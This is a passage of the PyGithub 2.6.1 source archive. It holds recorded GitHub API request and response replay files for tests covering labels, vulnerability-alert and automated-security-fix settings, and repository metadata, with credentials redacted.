Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'D150:5A83E:21B1AEF0:22966EC9:67784E9B')] {"id":3330121,"node_id":"MDU6TGFiZWwzMzMwMTIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/bug","name":"bug","color":"e10c02","default":true,"description":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Label.testDelete.txt0000644000175100001660000000063314756101563022041 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/labels/bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4961'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 10:17:53 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Label.testEdit.txt0000644000175100001660000000154614756101563021530 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/labels/bug {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.symmetra-preview+json'} {"color": "0000ff", "new_name": "LabelEditedByPyGithub", "description": "Description of LabelEditedByPyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '133'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"57435796bd4f14b84ad92105669cfab1"'), ('date', 'Sat, 19 May 2012 10:17:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/LabelEditedByPyGithub","name":"LabelEditedByPyGithub","color":"0000ff","description":"Description of LabelEditedByPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testChangeAutomateFixWhenNoVulnerabilityAlert.txt0000644000175100001660000000634514756101563033062 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 422 [('Date', 'Tue, 06 Aug 2019 11:27:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '182'), ('Server', 'GitHub.com'), ('Status', '422 Unprocessable Entity'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4737'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '35EC:6F60:31C510A:3B8AC14:5D49641F')] {"message":"Vulnerability alerts must be enabled to configure automated security fixes.","documentation_url":"https://developer.github.com/v3/repos/#enable-automated-security-fixes"} https DELETE api.github.com None /repos/PyGithub/PyGithub/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 422 [('Date', 'Tue, 06 Aug 2019 11:27:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '183'), ('Server', 'GitHub.com'), ('Status', '422 Unprocessable Entity'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4736'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '1681:54A2:4278804:4F278A2:5D496420')] {"message":"Vulnerability alerts must be enabled to configure automated security fixes.","documentation_url":"https://developer.github.com/v3/repos/#disable-automated-security-fixes"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testDisableAutomatedSecurityFixes.txt0000644000175100001660000000574314756101563030604 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Tue, 06 Aug 2019 11:26:43 GMT'), ('Content-Type', 'application/octet-stream'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4747'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '35D8:4F41:441DF0D:5118793:5D4963F2')] https DELETE api.github.com None /repos/random/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:26:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4746'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '165D:4F41:441DF70:5118805:5D4963F3')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/#delete-a-repository"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testDisableVulnerabilityAlert.txt0000644000175100001660000000573314756101563027752 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Tue, 06 Aug 2019 11:27:14 GMT'), ('Content-Type', 'application/octet-stream'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4740'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '166D:54A1:2E2788B:379C9F9:5D496411')] https DELETE api.github.com None /repos/random/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:27:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4739'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '35E6:4F40:326A400:3C81F6F:5D496412')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/#delete-a-repository"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testEnableAutomatedSecurityFixes.txt0000644000175100001660000000570214756101563030422 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Tue, 06 Aug 2019 11:26:29 GMT'), ('Content-Type', 'application/octet-stream'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4750'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '164D:54A1:2E2631B:379B0D8:5D4963E4')] https PUT api.github.com None /repos/random/automated-security-fixes {'Accept': 'application/vnd.github.london-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:26:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4749'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.london-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '35D4:54A2:4276A32:4F254B5:5D4963E5')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testEnableVulnerabilityAlert.txt0000644000175100001660000000567014756101563027575 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Tue, 06 Aug 2019 11:26:07 GMT'), ('Content-Type', 'application/octet-stream'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4753'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '161D:4F3F:1A2F2B7:1F51B2B:5D4963CE')] https PUT api.github.com None /repos/random/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:26:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4752'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '35CE:9CE3:4271E0:504928:5D4963CF')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testGetIssues.txt0000644000175100001660000004257114756101563024561 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13643'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'd594a23ec74671eba905bf91ef329026'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"4a598c12d70d21ed45f8cc87ca10c0ef"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:2CC6:6A71E4:5514C7D6'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:56:43 GMT'), ('date', 'Fri, 27 Mar 2015 03:00:38 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"id":32964720,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2015-03-27T02:56:40Z","updated_at":"2015-03-27T02:56:43Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":32905113,"name":"PyGithub","full_name":"Jucyio/PyGithub","owner":{"login":"Jucyio","id":11623651,"avatar_url":"https://avatars.githubusercontent.com/u/11623651?v=3","gravatar_id":"","url":"https://api.github.com/users/Jucyio","html_url":"https://github.com/Jucyio","followers_url":"https://api.github.com/users/Jucyio/followers","following_url":"https://api.github.com/users/Jucyio/following{/other_user}","gists_url":"https://api.github.com/users/Jucyio/gists{/gist_id}","starred_url":"https://api.github.com/users/Jucyio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jucyio/subscriptions","organizations_url":"https://api.github.com/users/Jucyio/orgs","repos_url":"https://api.github.com/users/Jucyio/repos","events_url":"https://api.github.com/users/Jucyio/events{/privacy}","received_events_url":"https://api.github.com/users/Jucyio/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/Jucyio/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Jucyio/PyGithub","forks_url":"https://api.github.com/repos/Jucyio/PyGithub/forks","keys_url":"https://api.github.com/repos/Jucyio/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Jucyio/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Jucyio/PyGithub/teams","hooks_url":"https://api.github.com/repos/Jucyio/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Jucyio/PyGithub/events","assignees_url":"https://api.github.com/repos/Jucyio/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Jucyio/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Jucyio/PyGithub/tags","blobs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Jucyio/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Jucyio/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Jucyio/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Jucyio/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Jucyio/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Jucyio/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Jucyio/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Jucyio/PyGithub/subscription","commits_url":"https://api.github.com/repos/Jucyio/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Jucyio/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Jucyio/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Jucyio/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Jucyio/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Jucyio/PyGithub/merges","archive_url":"https://api.github.com/repos/Jucyio/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Jucyio/PyGithub/downloads","issues_url":"https://api.github.com/repos/Jucyio/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Jucyio/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Jucyio/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Jucyio/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Jucyio/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Jucyio/PyGithub/releases{/id}","created_at":"2015-03-26T03:17:03Z","updated_at":"2015-03-26T03:17:05Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/Jucyio/PyGithub.git","ssh_url":"git@github.com:Jucyio/PyGithub.git","clone_url":"https://github.com/Jucyio/PyGithub.git","svn_url":"https://github.com/Jucyio/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288